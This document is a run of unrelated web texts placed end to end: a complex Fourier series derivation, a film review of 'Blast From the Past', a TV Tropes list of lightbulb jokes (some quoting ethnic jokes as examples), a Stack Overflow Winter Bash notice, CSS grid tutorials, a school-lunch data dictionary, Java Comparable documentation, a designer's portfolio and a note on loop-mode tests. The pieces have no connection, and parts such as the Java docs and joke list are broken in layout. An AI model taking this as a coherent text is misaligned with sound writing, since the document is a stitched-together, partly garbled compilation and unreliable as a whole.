Fourier series are often expressed in terms of the complex-valued basis functions einπx∕L. Next, we derive this version of the Fourier series, which is the most popular version we see in textbooks and papers (we will see the reason why this version is popular).
Using Euler’s formula (this is a bridge between representations using real numbers and complex numbers)
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and
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in Eq. (5), we obtain
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which can be organized as
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And this form motivates us to deﬁne
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where n = 0,1,2,… (note b0 = 0), then Eq. (13) is written
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Furthermore, the expressions of an and bn given by Eq. (3) and (4) indicate that cn and c−n in Eq. (14) can be uniformly expressed as
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Equation (15) along with Eq. (16) is the version of Fourier series using complex basis functions. In this version, the index n is an integer ranging from negative inﬁnity to positive inﬁnity, which is unlike Eq. (1), where n is from zero to positive inﬁnity. An advantage of Eqs. (15) and (16) is that no special treatment is needed for the edge case of n = 0.
Using Eq. (16) in Eqs. (15), we obtain
Noting that the +n terms cancel the −n terms in both line (17) and line (18), then h(x) is written as Deﬁne new expansion coeﬃcients|
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and
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then expression (19) is written as
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which recovers expression (6). Note that n ∈ (−∞,+∞) in this version, which diﬀers from Eq. (5). Also this expression has no edge case that needs special treatment.
Using Eq. (14), the coeﬃcients an and bn appearing in Eq. (5) can be recovered from cn by
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If h(x) is real, then the coeﬃcients an and bn are real. Then equation (14) implies that cn and c−n are complex conjugates. In this case, expressions (23) and (24) are simpliﬁed as
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[In the above, we use the basis functions einπx∕L to expand h(x). If we choose the basis functions to be e−inπx∕L, then it is ready to verify that the Fourier series are written
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with cn given by
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In this case, the coeﬃcients an and bn can be recovered from cn by
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In using the Fourier series, we should be aware of which basis functions are used.]


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**** A great movie ***1/2 A very good movie *** A good movie **1/2 An okay movie ** A not so good movie *1/2 A not good movie * A bad movie NO STARS Cinematic torture
BLAST FROM THE PAST *** (PG-13)
Adam: Brendan Fraser Eve: Alica Silverstone Calvin: Christopher Walken Helen: Sissy Spacek Troy: Dave Foley
Directed by Hugh Wilson. Written by Bill Kelly & Wilson. Running time: 106 minutes.
BY AARON MICHAELS
Brendan Fraser has always seemed as a twenty-something actor who the studios want to be their next vehicle. Early in his career studios showered him with good roles. The career spawning School Ties was one of his first big films. Later on he started to head downward. He made films like Mrs. Winterbourne and Airheads both of which bombed critical and commercialy. Fraser last couple of films have helped his career a lot though. George of the Jungle was a huge hit and his latest movie Blast From the Past deserves the same.
Blast From the Past starts out in 1962. We are introduced to the Webber family which is made of the brilliant scientist Calvin (Christopher Walken) and the housewife (Sissy Spacek) with her baby on board. John F. Kennedy releases his speech on the Soviet missiles in Cuba aimed at the U.S. and Calvin knows what to do. You see he has been secretly building a fall-out shelter under his lawn which is full of all the needed resources (e.g. beef roast, roller skates, Dr. Pepper). He takes his wife and unborn baby underground and waits for the big boom. An airplane crashes into his house which he takes as missile fire. He locks the fall-out shelter door and sets a timer for 35 years which he says would give the world enough time to be able to support life again.
The baby son (cleverly named Adam) of the family is born underground by Calvin and he lives a normal life only blocked off from the nuclear world. Adam grows up into Brendan Fraser and on his 35th birthday he makes a wish to meet a girl. His parents soon give him the chance and this begins this fish-out-of-water.
Adam is amazed at how the world is since he has never been on the surface. He meets up with a streetwise girl name Eve (Alica Silverstone). Adam turns out to be a lady's man. While underground he learned perfect manners, dance steps, and several languages. He uses all of the above to woo Eve. Together the two get supplies for the fall-out shelter and maybe Adam will meet the girl of his dreams.
Almost ever actor in Blast From the Past does a great job. Christopher Walken has always been the psycho villain in almost all his movies and I've never really developed a taste for him. This movie changed it. He is funny and is a great choice as Calvin. Both Fraser and Silverstone are both very good. I'm glad Silverstone found a good movie after her disappointing films Excess Baggage and Batman and Robin.
Blast From the Past is unexpectedly a very well produced movie. It has a good script by Bill Kelly and Wilson with funny lines and clever scenes. Also I'd like to highly praise the set decorator, Michael Taylor, who makes each shot look great. A nostalgic nightclub The 40s which Adam and Eve go to is beautifully constructed. It reminded me a lot of The Mask with it's great design of the nightclub.
Blast From the Past is almost without cliché. EVERYONE knows that at the end Adam and Eve are going to get together and Eve will find out about Adam's underground family. The ending 20 minutes in which this happens is unexpectedly slow and doesn't provide any effective laughs. It's basically just used to finish off the movie. It really set me off course.
Of course the ending doesn't take away from the earlier 80 minutes which show how to make a good romantic comedy for the teenage set. The studio that made Blast also made last year's underrated The Wedding Singer have hit a way to make a smart and goofy romantic comedy that pleases audiences. I hope they continue their tradition in the future.
Aaron
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Long ago, this Stock Joke involved mocking other groups, but today it is used almost exclusively for playful Self-Deprecation of the idiosyncrasies characteristic of (or associated with) one's own social group or hobby group.
The common format is "How many (group of people) does it take to change a light bulb? X+1. 1 to change the bulb, and X to (humorous caricature of group)."
Another is a means to accuse them of Pride: "How many (people) does it take to change a lightbulb? One. He holds it up, and the universe revolves about him to screw it in."
Take ourselves as tropers:
- Q How many tropers does it take to change a light bulb?
A One, but someone will put the old bulb back with a Justifying Edit.
Another example:
- Q How many tropers does it take to change a light bulb?
A One screws in the lightbulb, while nine others mark the ways he was similar to other lightbulb screwers.
Or even:
- Q How many tropers does it take to change a light bulb?
A One screws in the light bulb, another one holds the door if it's the light bulb of the Fridge, and a third one comes later to hang a lampshade on it.
It also has many variations (including noting the pun of "screw").
- Q How many tropers does it take to screw in a light bulb?
A Only two, but it would have to be a really big bulb.
The original joke is in some danger of being a Forgotten Trope:
- Q How many Acceptable Targets does it take to screw in a lightbulb?
A Two, one to hold the bulb, and one to turn the ladder.
Of course this joke shows up in fiction as well, and examples here should be limited to such. It's generally acknowledged as being a Stock Shtick, and thus usually a sign that the character doesn't know any better jokes. It's also a good candidate for an Orphaned Feed Line.
In Speculative Fiction, the exact format of the joke may be altered slightly to allow for the lack of light bulbs.
Compare "Knock Knock" Joke.
Examples in fiction:
- There was an ad for fluorescent bulbs, bragging about lasting seven years. There's a kid who was newborn when the bulb was put in, and near the end of those seven years, he doesn't get a light bulb joke, saying "Change a light bulb? Why would anybody need to change a light bulb?"
- A series of Volkswagen ads once featured a terrible German-accented comedian. The gag is to imply that while Germans are bad comedians, they're great engineers:
Q: How many German engineers duz it take to change a light bulb?A: None, if it haz ben manufactured properly.[beat]Zank you, I'll be here all ze week.
- Axis Powers Hetalia:
- In one strip, Poland asks Lithuania for help changing a lightbulb. When Lithuania asks why Poland isn't able to do so on his own, he tells Lithuania that he needs to turn the table while he holds the lightbulb in place. Most likely a Shout-Out to the original joke.
- The series also does this with Greece.
- Black Lagoon does this when Rock tries to entertain Revy while they're running errand around town. Unfortunately, Revy knows all his jokes, which almost results in a car crash.
Rock: Okay, how many Polacks does it take to change a lightbulb?Revy: I'm guessing one to hold the lightbulb, and 99 to turn the house, isn't that it?Rock: Um... er... let's see. So, the Pope says to the guy who dressed like he's homeless...Revy: Yeah, "I thought I told you to get out of here yesterday". Yeah, good one.
- Played with in Dragon Ball Z
King Kai: Hey Goku, how many Super Saiyans does it take to change a lightbulb?Goku: How many?King Kai: There's no telling, but it only takes one to beat Frieza!
- Teen Titans Go!: Mumbo Jumbo asks "How many magicians does it take to change a lightbulb?" and answers "Depends what you want it changed to!"
- Batman: White Knight: Back when he tried to be a comedian, Jack Napier had one where he asked "how many GCPD does it take to change a light bulb?". The answer is "it only takes a Batman!".
- The 130th issue of G.I. Joe: A Real American Hero (Marvel) had a pair of Eel guards tell a light bulb joke, only to be interrupted by an attack from Dojo and Storm Shadow.
Eel 1: Hey, I heard a good one— How many Night-Vipers does it take to change a light bulb?Eel 2: I give up. How many—Dojo: None, you dummy! Night-Vipers can see in the dark!
- How many Hufflepuffs (and everyone else) does it take to light up a wand?
- Infighting, Insanity, and Social Ineptitude: Courtesy of Russel- How many [members] of [team] Yarrow does it take to screw in a lightbulb? All four. They can't touch anything without surrounding it first (for context- this is in the Vytal tournament, and the team in question had ganged up on Blake).
- The Loud House:
- The Nightmare House has Luan Loud make the joke "How many psychiatrists does it take to change a light bulb? Only one, but it has to want to change."
- Lincoln's Memories: In "Lincoln's Seventh Birthday", Luan jokes, "How many cats does it take to change a lightbulb? None— cats have night vision."
- From A Bug's Life: "How many roaches does it take to screw in a light bulb? Can't tell. As soon as the light goes on, they scatter."
- A rather dark example of playing with this trope occurs in Disney's Mulan. Shan Yu dispatches two captured enemy scouts to deliver his warning to the emperor. After the two have already started to run away, Shan Yu casually asks an archer, "How many men does it take to deliver a message?" The answer the archer gives us is "one" and a drawn bowstring, implying that one of the scouts was murdered because he was unnecessary.
- In the Film of the Book of The Hitchhiker's Guide to the Galaxy, one of the questions proposed to the ultimate answer of Life, Universe, and Everything (42) is that "How many vogons does it take to screw in a lightbulb?"
- Look Who's Talking included this exchange at the park:
Mikey: How many babies does it take to screw in a light bulb?
Park Baby 1: How many?
Mikey: What's a light bulb?
(Mikey and Park Baby 1 laugh.)
Park Baby 2: I don't get it.  First he asks, "How many Pollacks does it take to screw in a lightbulb?" and answers "Three!" before bursting into laughter. After a moment, he announces he's told it wrong and starts again: "Why does it take three Pollacks to screw in a light bulb?" He answers, "Cuz they're so darn stupid!" HI just stares blankly at him as he guffaws again.
- In Earthgirl by Janet Edwards, lightbulb jokes are a bit of a rediscovered fad among archaeologists ever since one dug up a book of them in an old city.
- The Discworld novel Sourcery has lamp-wick jokes (no relation):
'Do you know any lamp-wick jokes?' he said, settling himself comfortably on the sand.
'I don't think so,' said Nijel politely, tapping a slab.
'I know hundreds. They are very droll. For example, do you know how many trolls it takes to change a lamp-wick?'
'This slab moves,' said Nijel. 'Look, it's a sort of door. Give me a hand.' - Hominids by Robert Sawyer is about a Neanderthal scientist from a parallel universe who falls into our universe as the result of a lab accident. A news dump at the beginning of one of its chapters has:
Q: How many Neanderthals does it take to change a light bulb?
A: All of them. - From Larry Niven's Known Space stories:
Q How many Jinxiansnote does it take to paint a skyscraper?A Five, one to hold the can of spray paint and four to shake the building up and down.

Two, one to change it and the other to shoot him and take the credit.
- One from I, Jedi (Said by Corran Horn):
How many Corellians does it take to change a glowpanel?None, it's easier to cheat at Sabacc in the dark.
- To say nothing of one devised by one of the "Star Wars Kids" magazines:
How many Wookiees does it take to change a lightbulb?
Ten. One to hold the bulb, and nine to turn the house around.

- Yendi, one of the books in Steven Brust's Dragaera series, has "How many X does it take to sharpen a sword?" jokes, where X is one of the Dragaeran Houses.
How many Dzur does it take to sharpen a sword?
Four: one to sharpen the sword and three to put up enough of a fight to make it worthwhile.How many Yendi does it take to sharpen a sword?
Three: one to sharpen the sword and one to confuse the issue.-  The Planet of Hats setting really lends to them.
How many Dragonlords does it take to sharpen a sword?
One. This is not a joke.- Vlad also pulls one about
humansEasterners that probably counts as the Fantastic Racism form of N-Word Privileges:
How many Easterners does it take to sharpen a sword?
Four: three to turn the grindstone and one to hold the sword. - A Song of Ice and Fire even gets in on the act, with "shoe a horse" instead of "change a lightbulb." For example, Q: "How many Dornishmen does it take to shoe a horse?" A: "Five, one to do the shoeing, and four to lift the horse". This becomes an Ironic Echo when The Red Viper, the most notorious Dornishman of them all, comes on the scene.
How many Dornishman does it take to start a war? Tyrion thought. One.
- The book "Poetry and Prose from the Director's Ass." ends with multiple Light bulb jokes about workers (such as Production Assistants, teamsters, stunt people, etc) in television based upon the author's experience as an Assistant Director on Star Trek.
- In John M. Ford's Star Trek novels, it's transtator jokes.
- The Final Reflection: How many Romulans does it take to change a transtator coil? Answer: 1 to change the coil, 150 to blow the ship up out of shame.
- How Much for Just the Planet?: How many Vulcans does it take to change a transtator? Answer: One to change the transtator and one to ask what's so funny.
- Brazilian comedy group Casseta & Planeta had this: "How many gorillas are needed to change a light bulb?" "One. But you'll need something about seventy light bulbs."
- Dave Barry's column "Why Humor is funny" alludes to lightbulb jokes when discussing a the history of humour. He starts with a joke that was translated on an Egyptian tomb:
He: Did you hear about the Sumerian?
She: No, what about the Sumerian?
He: He was extremely stupid! Ha ha!
She: No, I had not heard about him.
This, of course, is a primitive version of the modern "ethnic joke", though it has become much more sophisticated in recent years thanks to such innovations as the light bulb.
- Babylon 5:
- One told by Sheridan, with a somewhat black undercurrent to it given Earth's initial interactions with the Minbari:
John Sheridan: How many Minbari does it take to screw in a light bulb? None. They surrender right before they finish the task and they never tell you why.- Another one, in which Londo Mollari pokes semi-bitter fun at his own people's nostalgia for their past:
Mollari: How many Centauri does it take to screw in a light bulb? Only one. But, in the grand old days of the Republic, hundreds of servants would change thousands of light bulbs at our slightest whim! - From V (1983):
Q: How many Visitors does it take to change a light bulb?
A: None, they like the dark! - The Criminal Minds episode "Masterpiece" had Reid telling a joke to a college psychology class when he mentions he was studying philosophy. "How many existentialists does it take to screw in a lightbulb? Two; one to change the lightbulb, and one to observe how it symbolizes an incandescent beacon of subjectivity in a netherworld of cosmic nothingness." Of course, nobody gets it. (The episode's unsub comes up to him a few minutes later and points out that an existentialist would allow the darkness to exist rather than change the light bulb.)
- From "Unlikely Things To Hear In A Sci-Fi Movie" segment of Mock the Week
Ed Byrne: How many Klingons does it take to screw in a lightbulb? - 10. One to change it and the other 9 to chastise him for performing such a menial task when he's a member of a proud warrior race.
- From the Mystery Science Theater 3000 episode "The Final Sacrifice".
Crow: How many geeks does it take to change a lightbulb?
Tom: How many?
Crow: I don't know, that's why I'm asking. - The Pretender: In "Hazards", psychiatrist Sydney, in an unusually good mood, tells the standard psychiatrist light bulb joke. ("One. But the light bulb has to want to change.")
- The Wings episode "Gone But Not Faygotten" has Fay retire and the Hackett brothers hiring Casey to replace her as Sandpiper's ticket agent. When Fay wants to come back, neither Joe nor Brian has the heart to tell her no, but they can't bring themselves to fire Casey either, so they let them both run the counter, even though the job can easily be handled by one person. Roy comments on the situation.
Roy: Hey, I got one for you. How many Sandpiper employees does it take to change a light bulb? Four.
- In Red Dwarf, Kryten is a little unclear on the concept:
How many mechanoids does it take to change a lightbulb? ... Twelve! ... Do you know why? ...
- In an episode of How I Met Your Mother, Ted has been given the job of choosing the brand of lightbulbs to be used for the GNB headquarters, and worries about what will happen if the one he chooses poorly.
Ted: Do you know how many people it takes to change fifty thousand lightbulbs?!Barney: Are these people Irish? Polish? Blondes? What are we dealing with here?
- Also from the episode "Little Minnesota"...."How many Canadians does it take to change a lightbulb?" "Oh, no a light went out!"
- One episode of NCIS: Los Angeles has Callen undercover as a disgraced sailor under arrest by an MP (played by Sam, also undercover). To keep up his act of pretending to be a jerk, Callen tells the following joke: "How many MP's does it take to change a light bulb? Fifty. One to change the bulb, and forty-nine to stand guard."
- The Big Bang Theory, "The Comic Book Store Regeneration":
Sheldon: How many Edisons does it take to screw in a lightbulb?
Amy: How many?
Sheldon: None, because he stole the idea for the lightbulb and doesn't deserve his own joke.note - Big Love: Margie tells one as a comeback to a possible suitor: "How many male chauvinists does it take to change a lightbulb? It's not the bulb that has to change."
- Frasier starts dating a lawyer and over dinner Martin, a retired police officer, attempts this joke on her claiming they used to tell it all the time at his precinct.
Martin: How many lawyers does it take to screw in a lightbulb?
Abby: I don't know, it depends on how many cops planted it there.
- Sergio Aragonés once drew a section in MAD called "A Mad Look at: Racism".  When he told the "How many Poles does it take to screw a lightbulb..." joke, the other guys stop laughing and kick him out of the Polish restaurant.
- The second movement of P.D.Q. Bach's choral cantata "Knock, Knock":
Recitative: How many psychiatrists does it take to change a lightbulb?
Chorus: One, but the lightbulb has to really want to change.
- Dilbert: "How many left-handed Elbonians does it take to screw in a light bulb? None! Left-handed Elbonians don't have light bulbs!" However, few Elbonians even know what light bulbs are.
- Garfield does this in the January 17, 1993 strip at a dog hating club.
Garfield: How many dogs does it take to screw in a light bulb?
- The January 21, 2002 strip has this exchange:
Garfield: Here's a joke, how many mice does it take to screw in a light bulb?Garfield: That joke took a sobering turn.
- The January 21, 2002 strip has this exchange:
- The card game Apples to Apples has these as flavor text on all of its nationality cards:
-
"How many Americans does it take to change a lightbulb?"
"Hey! That's not funny! WE'RE SUING!" -
"How many Canadians does it take to change a lightbulb?"
"10. 9 to chip it out of the ice and one to change the lightbulb." -
"How many Japanese does it take to change a lightbulb?"
"Who needs lightbulbs when you've got our technology?"
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- The Imagineering Field Guide to Disneyland provides the Disney Imagineers' version of the joke to demonstrate their thought process in coming up with new features for the parks:
How many Imagineers does it take to screw in a light bulb?
Does it have to be a light bulb?
- Guild Wars: "How many Asuras does it take to screw in a power core? None, they force a human to do it for them!"
- The Sims Medieval, unlike previous Sims games, has text pop up on screen when your Sims Gossip. Two of the messages are jokes along the lines of Lightbulb Jokes poking fun at the game's two religions.
How many Jacobans does it take to empty a chamberpot?It depends on the current proclamation.
- There's another one, and it does say lightbulb rather than 'light a lamp' or something:
How many Peterans does it take to change a lightbulb?Why use a lightbulb when there's a Jacoban Cathedral nearby? - 1997's Where in Time is Carmen Sandiego? (a.k.a. Carmen Sandiego's Great Chase Through Time) had Good Guide Renée Santz try to tell Mona Lisa a joke ("How many ACME agents does it take to screw in a light bulb?"), to which Mona Lisa replies "What's a light bulb?"
- Dee Cryption derisively asks the same question in Thomas Edison's lab when the player has to change one in order to complete a circuit.
- The question is never answered in canon, though it looks like the VILE perspective is "ALL OF THEM. Because that's what it would take for them to get the bulb back from Carmen after she's stolen it."
- Dee Cryption derisively asks the same question in Thomas Edison's lab when the player has to change one in order to complete a circuit.
- Mass Effect 3 has its own variation:
Garrus: How many humans does it take to activate a dormant mass relay?Joker: 602. 600 to vote on it, one to ask the asari for technical help, and one to request a seat on the Council afterwards.
- Return to Zork features one in an ancient jokebook, as translated by the Mayor of Shanbar.
Q: How many computer programmers does it take to change a lightbulb?
A: That's a hardware problem! - In the The Elder Scrolls V: Skyrim mod, Uncle Sheogorath's Really Helpful Hints and Tips, Uncle Sheogorath shares this bit of wisdom:
How many Jarls does it take to change an oil lamp? Just one.  What a strange question.
- In The Darkside Detective, McQueen attempts to tell Dooley a joke about how many police officers it takes to change a lightbulb, but is defeated by Dooley's literal-mindedness and gives up before delivering the punchline.
- Paladins has some character use this for their joke emote if you're using the right skin.
Terminus (Jotunn skin): "How many humans does it take to decorate a cake? Twelve and three fourths."Barik (Steel Forged skin): "How many dwarves does it take to change a lightbulb? Two! One to hold the lightbulb, and the other to drink until the room starts spinning!"
- Dinosaur Comics: T-Rex inverted the trope with "reverse lightbulb jokes" — he supplies the punchline, and his friends provide the setup, thereby revealing their prejudices and preconceptions.
- Lampwick jokes are also featured in the Adventures of Cheery Littlebottom webcomic.
- Dominic Deegan has Donovan crack one off to the orc shaman Thuen Gor: "How many Callanians does it take to install a lamp post? One - he sticks it in the ground and waits for the world to revolve around him."
- Irregular Webcomic! gives us the formulaic lightbulb joke.
- Mitch Clem of Nothing Nice to Say went self-referential in his journal comic.
- Cyanide & Happiness has its own variation.
- xkcd #841: How many audiophiles does it take to screw in a lightbulb?
- Schlock Mercenary had a pair about recalibrating transponders and getting beaten up in a tavern.
- mezzacotta manages to randomly generate a light bulb joke.
- Smash Tasm: "How many blondes does it take to screw in a light bulb? One, because gender stereotypes based on hair color are totally unfair and sexist." Ot's actualltfunnier in context.
- Dragon Ball Z Abridged - Frieza, after wiping out most of the Namekian species except for Nail, Dende and Guru.
Frieza: How many Namekians does it take to screw in a lightbulb? Their whole race! One to screw in the lightbulb, and the rest to die... and then the other one dies too.
- Later, when Piccolo shows up:
Frieza: Well, well, well! I'm legitimately surprised I missed one of you. But that's just fine, because I've been working on some jokes. Now tell me if you've heard this one. How many Namekians does it take to -Piccolo: (punches him across the sky) Just one. - Epic Rap Battles of History: Rasputin raps this to Stalin in the form of a rhetorical question, as we already know the answer. A more serious example than most on this page.
Rasputin: "How many dictators does it take to turn an empire into a union of ruinous states?"
- Bad Movie Beatdown: When it takes the characters in the film Bear until nightfall to change a flat tire on their car, Film Brain makes a joke about it.
Film Brain: How many horror movie characters does it take to change a light bulb? None; they're all eviscerated.
- In the Gargoyles episode "The Reckoning", Fang uses this joke "How many gargoyles does it take to screw in a light bulb?" The question is never answered, and the creator, Greg Weisman, eventually turned it into a contest on his "Ask Greg" website.
- "Two, but it has to be a BIG light bulb."
- He gets another in the Bad Guys sequel in comic form. "How many mutants does it take to change a lightbulb? Three to sit there and one to hang [around]."
- Spongebob Squarepants: One of SpongeBob's racist jokes in "Squirrel Jokes": "How come it takes more than one squirrel to screw in a lightbulb? Because they're SO. DARN. STUPID!"
- Presumably a Shout-Out to Raising Arizona.
- Family Guy:
- Brian mentions that Peter doesn't have a great history when it comes to telling jokes. Cutaway Gag to Peter on the Planet of the Apes, surrounded and held at gunpoint.
Peter: How many dirty, stinkin' apes does it take to screw in a light bulb? Three.  How many Polacks does it take to fix a time machine?
- Brian mentions that Peter doesn't have a great history when it comes to telling jokes. Cutaway Gag to Peter on the Planet of the Apes, surrounded and held at gunpoint.
- Rather than asking the question or giving a straight answer, the intro to Justice Friends demonstrates us that at the very least, three Avengers expies are either not enough or too many to change a lightbulb.
- The Flintstone Kids: Captain Caveman asked how many of him were needed to change a light bulb. He said none of him because the light bulb hasn't been invented yet.
- Wunschpunsch: Jacob asked Meathead (Bubonic's carnivorous plant) how many carnivorous plants were needed to change a light bulb. Jacob said there were needed two: one to hold the light bulb and the other to turn around.
- Lloyd in Space: Douglas' father (of a race of walking talking brains) tells one about the Blobbulons, and says it takes 78 and a Half of them to change a lightbulb. Cut to Kurt and his parents (three Blobbulons) that just got done changing a lightbulb, the father remarking it would have been much easier if there were 75 and a half more of them.
- Ultimate Spider-Man: Spider-Man makes such a joke in "The Sinister Six".
Spider-Man: How many Sinister Sixters does it take to change a lightbulb? Answer: Six! Four to hold down Electro. One to screw the lightbulb into his mouth.Electro: (To the rest of the Sinister Six) Heh, you guys want to see that? It actually does work!Electro: (After the rest of the Sinister Six glare at him) Maybe later.
- In one episode of Teen Titans, where Cyborg learns Tamaranian from Starfire, they exchange a joke about "how many does it take". All the rest of the words, as well as the pun, are left untranslated, so we can only wonder.
- In "Mad Mod" Starfire asks a Brainwashed Beast Boy, "How many Okaraans does it take to Hoegee a morflark?" to which the answer is "Finbar". However, it doesn't wake him up until Starfire mentions "boogers".
- In the South Park episode "Rainforest Schmainforest", the president of Costa Rica attempts to amuse a restless audience with such jokes as: "How many Polaks does it take to change a light bulb? Two."
- Dungeons & Dragons: While trying to do a stand-up show, Eric asks how many dwarves are needed to change a light bulb. The answer is none because the dwarves can't reach the light bulb.
- LEGO Star Wars: The Freemaker Adventures: Wick Cooper asks how many people from Alderaan are needed to change a light bulb. The answer is "none" because they've been wiped out. It earns him a very brutal Dude, Not Funny! from Princess Leia.
- In Ready Jet Go!, Beep the Rover tells Jet one of these jokes in one episode.
- A Freeze-Frame Bonus in the Gravedale High episode "Frankenjockey" shows that one of the questions on Frankentyke's math quiz is "How many monsters does it take to change a lightbulb?"
- The Buzz Lightyear of Star Command episode "The Torque Armada" had Torque annoy Buzz with this kind of joke.
Torque: How many Space Rangers does it take to change a light filament? 100! One to hold it and 99 to turn the space station around!


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This year is a special one for the Winter Bash tradition. A hectic end of the year (that included a company-wide Meetup and a ramped-up focus on delivering improvements across other parts of our Q&A experience) means this year’s Winter Bash theme is the same as last year’s. But don’t despair, last year’s theme was awesome!
We’re continuing to bring the fun. Winter Bash 2019 showcases a wild retrospective of hats that have been featured over five years, from 2014 to 2018. You can upgrade your avatar with some of the favorite hats from the past, as well as discover a couple of changed triggers for secret ones. We wish you luck finding them all!
Join us December 9 through January 1 for Winter Bash 2019. Last year, we awarded more than 297,000 hats on Stack Overflow. This year could be the year that we hit 300K!
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- Ask, answer, vote, edit, and chat to unlock fun hats and accessories you can wear on your avatar when you complete challenges on participating sites.

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Day 5 - Creating grid layouts
Gridlex is a library to make creating building grid layouts easier. Normally to create grids (ie three column grid, 4 column grid), we would need to calculate the width + margin of every column width separately, write the css for it, etc.
Gridlex is a css stylesheet that someone has already written to make this process simpler, we just need to connect it to our site and reference the class names that it uses.
This video is taken from the Website in a Weekend Course.
To use any external library or resources, we start by adding it in the head. In codepen, this is in the settings.
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/gridlex/2.6.0/gridlex.min.css">
Then simplest way to create grids with gridlex is to add a class of grid to the container element and a class of col to all of the children

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Introducing the 12 col grid
Web design often operates on either a 12 or a 16 column grid, where the page is divided up into twelfths and layouts are created based on how many 12th they take up. So half the page would be 12 / 2 = 6 columns. A third of the page would be 12 / 4 = 3 columns. A full page width always ads to 12.
Example: 2 column grid

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Example: 3 column grid

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Example: a 4 column grid

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At first it seems confusing that to create three columns you use ‘col-4’ and to create 4 columns you use ‘col-3’ but after a while it becomes second nature.
Example: Mixed Columns
What about a container that looked like this?

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The table D3-School-Lunch houses data on the following columns:
| Columns | Description |
|---|---|
| FreeEligible | Number of students who records indicate that they are eligible for the free lunch program, are migrant or homeless students, or identified via Direct Certification Process |
| ReducedEligible | Number of students who records indicate that they are eligible for the reduced price lunch program and are not a migrant or homeless student and were not identified via the Direct Certification process. |
| NotEligible | Student records indicate they are not eligible for free or reduced lunch programs. |
| Total | Total number of student counts grade K-12, including ungraded. |
| FreeReducedEligible | The number of students eligible for free OR reduced lunches as measured above |
| PCT_Free | The percent of total students reported eligible for free lunches |
| PCT_Reduced | The percent of total students reported eligible for reduced price lunches |
| PCT_FreeReduced | The percent of total students reported eligible for free OR reduced price lunches. |


Boo grids, layouts, and components. Built on Twitter Bootstrap
Boo makes use of certain HTML elements and CSS properties that require the use of the HTML5 doctype. Include it at the beginning of all your projects.
<!DOCTYPE html>         ...
html5shiv allows you to use HTML5 sectioning elements in legacy Internet Explorer, as well as default HTML5 styling in Internet Explorer 6 - 9, Safari 4.x (and iPhone 3.x), and Firefox 3.x.
Selectivizr is a JavaScript utility that emulates CSS3 pseudo-classes and attribute selectors in Internet Explorer 6-8.

The fluid grid system uses percents instead of pixels for column widths. It has the same responsive capabilities as our fixed grid system, ensuring proper proportions for key screen resolutions and devices.
Make any row "fluid" by changing .row
to .row-fluid
. The column classes stay the exact same, making it easy to flip between fixed and fluid grids.

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Operates the same way as the fixed grid system offsetting: add .offset*
to any column to offset by that many columns.

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Nesting with fluid grids is a bit different: the number of nested columns should not match the parent's number of columns. Instead, each level of nested columns are reset because each row takes up 100% of the parent column.

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Fluid 6

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Setting the sidebar to the right or left side (integrated jquery):
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Setting the sidebar bacground color (integrated jquery):

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Bloc code for the sidebar:

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Turn on responsive CSS in your project by including the proper meta tag and additional stylesheet within the
of your document. If you've compiled Boo from the Customize page, you need only include the meta tag.
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="assets/css/bootstrap-responsive.css" rel="stylesheet">
Boo supports a handful of media queries in a single file to help make your projects more appropriate on different devices and screen resolutions. Here's what's included:
| Label | Layout width | Column width | Gutter width |
|---|---|---|---|
| Large display | 1200px and up | 70px | 30px |
| Default | 980px and up | 60px | 20px |
| Portrait tablets | 768px and above | 42px | 20px |
| Phones to tablets | 767px and below | Fluid columns, no fixed widths | |
| Phones | 480px and below | Fluid columns, no fixed widths | |
.grider |
979px and below | Use in combination with span* if you want to display as a block element | |
.grider-item |
1200px and below | Use in combination with span* if you want to display as a block element |
/* Large desktop */ @media (min-width: 1200px) { ... } /* Portrait tablet to landscape and desktop */ @media (min-width: 768px) and (max-width: 979px) { ... } /* Landscape phone to portrait tablet */ @media (max-width: 767px) { ... } /* Landscape phones and down */ @media (max-width: 480px) { ... } /* Griter - element as block */ @media (max-width: 979px) { ... } /* Griter-item - element as block */ @media (max-width: 1200px) { ... }
For faster mobile-friendly development, use these utility classes for showing and hiding content by device. Below is a table of the available classes and their effect on a given media query layout (labeled by device). They can be found in responsive.less
.
| Class | Phones 767px and below | Tablets 979px to 768px | Desktops Default |
|---|---|---|---|
.visible-phone |
Visible | Hidden | Hidden |
.visible-tablet |
Hidden | Visible | Hidden |
.visible-desktop |
Hidden | Hidden | Visible |
.hidden-phone |
Hidden | Visible | Visible |
.hidden-tablet |
Visible | Hidden | Visible |
.hidden-desktop |
Visible | Visible | Hidden |
Use on a limited basis and avoid creating entirely different versions of the same site. Instead, use them to complement each device's presentation. Responsive utilities should not be used with tables, and as such are not supported.
Resize your browser or load on different devices to test the above classes.
Green checkmarks indicate that class is visible in your current viewport.
Here, green checkmarks indicate that class is hidden in your current viewport.


public interface Comparable<T>
Lists, arrays, and sets of objects that implement this interface can
be sorted automatically, without the need for an explicit
Comparator
. Note that e1.compareTo(null)
should throw an Exception; as should comparison between incompatible
classes.
Comparator
,
Collections.sort(java.util.List)
,
java.util.Arrays#sort(totalcross.lang.Object[])
,
SortedSet
,
SortedMap
,
TreeSet
,
TreeMap
| Modifier and Type | Method and Description |
|---|---|
int |
compareTo(T o)
Compares this object with another, and returns a numerical result based
on the comparison.
|
int compareTo(T o)
o1.compareTo(o2) <op> 0
, where op
is one of <, <=, =, !=, >, or >=.
You must make sure that the comparison is mutual, ie.
sgn(x.compareTo(y)) == -sgn(y.compareTo(x))
(where sgn() is
defined as -1, 0, or 1 based on the sign). This includes throwing an
exception in either direction if the two are not comparable; hence,
compareTo(null)
should always throw an Exception.
You should also ensure transitivity, in two forms:
x.compareTo(y) > 0 && y.compareTo(z) > 0
implies
x.compareTo(z) > 0
; and x.compareTo(y) == 0
implies x.compareTo(z) == y.compareTo(z)
.
o
- the object to be comparedNullPointerException
- if o is nullClassCastException
- if o cannot be compared


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Currently working as a Staff Product Designer in ServiceNow wherein I am designing for ITBM Group.
Earlier I was working for Honeywell Technology Solutions, working under the Connected Buildings domain.
Selected Projects
IMICampaign is a base-marketing tool which is used exclusively by the clients of IMImobile. Redefining the experience for a Campaign Management System.
Creating a better experience for the custom officials when they go through the process of custom clearance through a streamlined interaction model.
The final year project done at NID. Mostly, targeted to children to bring-in the aspect of playfulness in the traditional quiz.
Local search engine and a comprehensive database for finding designers, boutiques and tailors around you.


In the case of high demand or a high number of tests in a specific area, loop mode tests may be rejected by the test system in order to avoid overload. It should be noted that the loop mode is intended (only) for usage within the EU and EFTA states.
